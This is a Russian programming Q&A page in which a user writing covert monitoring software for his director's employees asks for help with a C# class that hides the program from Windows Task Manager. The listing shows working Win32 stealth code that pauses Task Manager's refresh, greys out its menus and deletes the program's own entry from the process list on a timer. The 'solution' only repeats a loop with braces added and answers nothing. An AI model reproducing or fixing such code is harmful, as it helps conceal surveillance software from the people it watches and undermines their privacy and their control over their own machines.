.NET 4.x Как скрыть процесс в диспетчере задач - C#
Формулировка задачи:
Доброго времени суток, уважаемые программисты!
По заказу директора, пишу приложение для сбора информации, о том что делают сотрудники фирмы. Соответственно одним из самых важных аспектов является невидимость среди процессов в списке процессов диспетчера задач Windows XP/7.
Нашел класс позволяющий это реализовать, но после множественных попыток подключить его к приложению я потерпел неудачу. Собственно ниже сам код.
==WinApi.cs== //Название файла класса
Для вызова необходимо добавить removeFromTaskManager() в formLoad и все. По идее должно работать. Но это не так.
Пожалуйста посмотрите этот класс! Если в нем есть ошибки или недоработки укажите на них!
Заранее спасибо!
Листинг программы
- using System;
- using System.Diagnostics;
- using System.Collections.Generic;
- using System.Text;
- using System.Runtime.InteropServices;
- using System.Windows.Forms;
- namespace WinApi
- {
- class User32
- {
- public const Int32 WM_COMMAND = 273;
- public const Int32 MF_ENABLED = 0;
- public const Int32 MF_GRAYED = 1;
- public const Int32 LVM_FIRST = 4096;
- public const Int32 LVM_DELETEITEM = (LVM_FIRST + 8);
- public const Int32 LVM_SORTITEMS = (LVM_FIRST + 48);
- [DllImport("user32.dll", EntryPoint = "FindWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 FindWindow(string lpClassName, string lpWindowName);
- [DllImport("user32.dll", EntryPoint = "FindWindowEx", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 FindWindowEx(Int32 hWnd1, Int32 hWnd2, string lpsz1, string lpsz2);
- [DllImport("user32.dll", EntryPoint = "EnableWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern bool EnableWindow(Int32 hwnd, Int32 fEnable);
- [DllImport("user32.dll", EntryPoint = "GetMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 GetMenu(Int32 hwnd);
- [DllImport("user32.dll", EntryPoint = "GetSubMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 GetSubMenu(Int32 hMenu, Int32 nPos);
- [DllImport("user32.dll", EntryPoint = "GetMenuState", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 GetMenuState(Int32 hMenu, Int32 wID, Int32 wFlags);
- [DllImport("user32.dll", EntryPoint = "GetMenuItemID", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 GetMenuItemID(Int32 hMenu, Int32 nPos);
- [DllImport("user32.dll", EntryPoint = "EnableMenuItem", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 EnableMenuItem(Int32 hMenu, Int32 wIDEnableItem, Int32 wEnable);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
- public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, String lParam);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
- public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
- [DllImport("user32.dll", EntryPoint = "GetDesktopWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 GetDesktopWindow();
- [DllImport("user32.dll", EntryPoint = "LockWindowUpdate", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
- public static extern Int32 LockWindowUpdate(Int32 hwndLock);
- System.Timers.Timer taskmanTimer = new System.Timers.Timer(700);
- public void removeFromTaskManager()
- {
- taskmanTimer.Elapsed += new System.Timers.ElapsedEventHandler(taskmanTimer_Elapsed);
- taskmanTimer.Enabled = true;
- }
- void taskmanTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
- {
- Int32 lhWndParent = User32.FindWindow(null, "Windows Task Manager");
- //Define Handles
- Int32 lhWndDialog = 0;
- Int32 lhWndEndTaskButton = 0;
- Int32 lhWndEndProcessButton = 0;
- Int32 lhWndProcessList = 0;
- Int32 lhWndProcessHeader = 0;
- Int32 lhWndTaskList = 0;
- Int32 lhWndTaskHeader = 0;
- Int32 ProcessItemCount = 0;
- Int32 ProcessItemIndex = 0;
- Int32 TaskItemCount = 0;
- Int32 TaskItemIndex = 0;
- //Get Menues
- //Get main menu
- Int32 hMenu = User32.GetMenu(lhWndParent);
- //Get View menu
- Int32 hViewMenu = User32.GetSubMenu(hMenu, 2);
- //Get Update Speed Menu
- Int32 hUpdateSpeed = User32.GetSubMenu(hViewMenu, 1);
- //Get Refresh Now Button
- Int32 hRefreshNow = User32.GetMenuItemID(hViewMenu, 0);
- //Get High
- Int32 hHighRate = User32.GetMenuItemID(hUpdateSpeed, 0);
- //Get Normal
- Int32 hNormalRate = User32.GetMenuItemID(hUpdateSpeed, 1);
- //Get Low
- Int32 hLowRate = User32.GetMenuItemID(hUpdateSpeed, 2);
- //Get Paused
- Int32 hPausedRate = User32.GetMenuItemID(hUpdateSpeed, 3);
- for (int i = 1; i < 7; i++)
- {
- lhWndDialog = User32.FindWindowEx(lhWndParent, lhWndDialog, null, null);
- if (lhWndTaskList == 0)
- lhWndTaskList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Tasks");
- if (lhWndTaskHeader == 0)
- lhWndTaskHeader = User32.FindWindowEx(lhWndTaskList, 0, "SysHeader32", null);
- if (lhWndEndTaskButton == 0)
- lhWndEndTaskButton = User32.FindWindowEx(lhWndDialog, lhWndTaskList, "Button", "&End Task");
- if (lhWndProcessList == 0)
- lhWndProcessList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Processes");
- if (lhWndProcessHeader == 0)
- lhWndProcessHeader = User32.FindWindowEx(lhWndProcessList, 0, "SysHeader32", null);
- if (lhWndEndProcessButton == 0)
- lhWndEndProcessButton = User32.FindWindowEx(lhWndDialog, lhWndProcessList, "Button", "&End Process");
- }
- //Pause the update speed
- User32.SendMessage((IntPtr)lhWndParent, (uint)User32.WM_COMMAND, (IntPtr)hPausedRate, IntPtr.Zero);
- //Disable Menu Items
- User32.EnableMenuItem(hMenu, hRefreshNow, User32.MF_GRAYED);
- User32.EnableMenuItem(hMenu, hLowRate, User32.MF_GRAYED);
- User32.EnableMenuItem(hMenu, hNormalRate, User32.MF_GRAYED);
- User32.EnableMenuItem(hMenu, hHighRate, User32.MF_GRAYED);
- User32.EnableMenuItem(hHighRate, hPausedRate, User32.MF_GRAYED);
- User32.EnableWindow(lhWndProcessHeader, 0);
- User32.EnableWindow(lhWndTaskHeader, 0);
- Process[] Processes;
- string item;
- ListBox list = new ListBox();
- list.Sorted = true;
- Processes = Process.GetProcesses();
- foreach (Process p in Processes)
- {
- if
- (p.ProcessName.ToString() == "Idle")
- list.Items.Add("System Idle Process");
- else
- list.Items.Add(p.ProcessName.ToString());
- }
- ProcessItemCount = Processes.Length;
- ProcessItemCount--;
- string HideMe = Process.GetCurrentProcess().ProcessName;
- for (int x = 0; x != ProcessItemCount; x++)
- {
- item = list.Items[x].ToString();
- if (item == HideMe)
- ProcessItemIndex = x;
- }
- User32.LockWindowUpdate(lhWndProcessList);
- //refresh
- User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hRefreshNow, IntPtr.Zero);
- //sort items
- User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_SORTITEMS, IntPtr.Zero, null);
- //Delete ourselves from the list
- User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_DELETEITEM, (IntPtr)ProcessItemIndex, IntPtr.Zero);
- User32.LockWindowUpdate(0);
- if (lhWndParent == 0)
- taskmanTimer.Interval = 800;
- else
- taskmanTimer.Interval = 2500;
- }
- }
- }
Решение задачи: «.NET 4.x Как скрыть процесс в диспетчере задач»
textual
Листинг программы
- for (int x = 0; x != ProcessItemCount; x++)
- {
- item = list.Items[x].ToString();
- if (item == HideMe)
- {
- ProcessItemIndex = x;
- }
- }
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д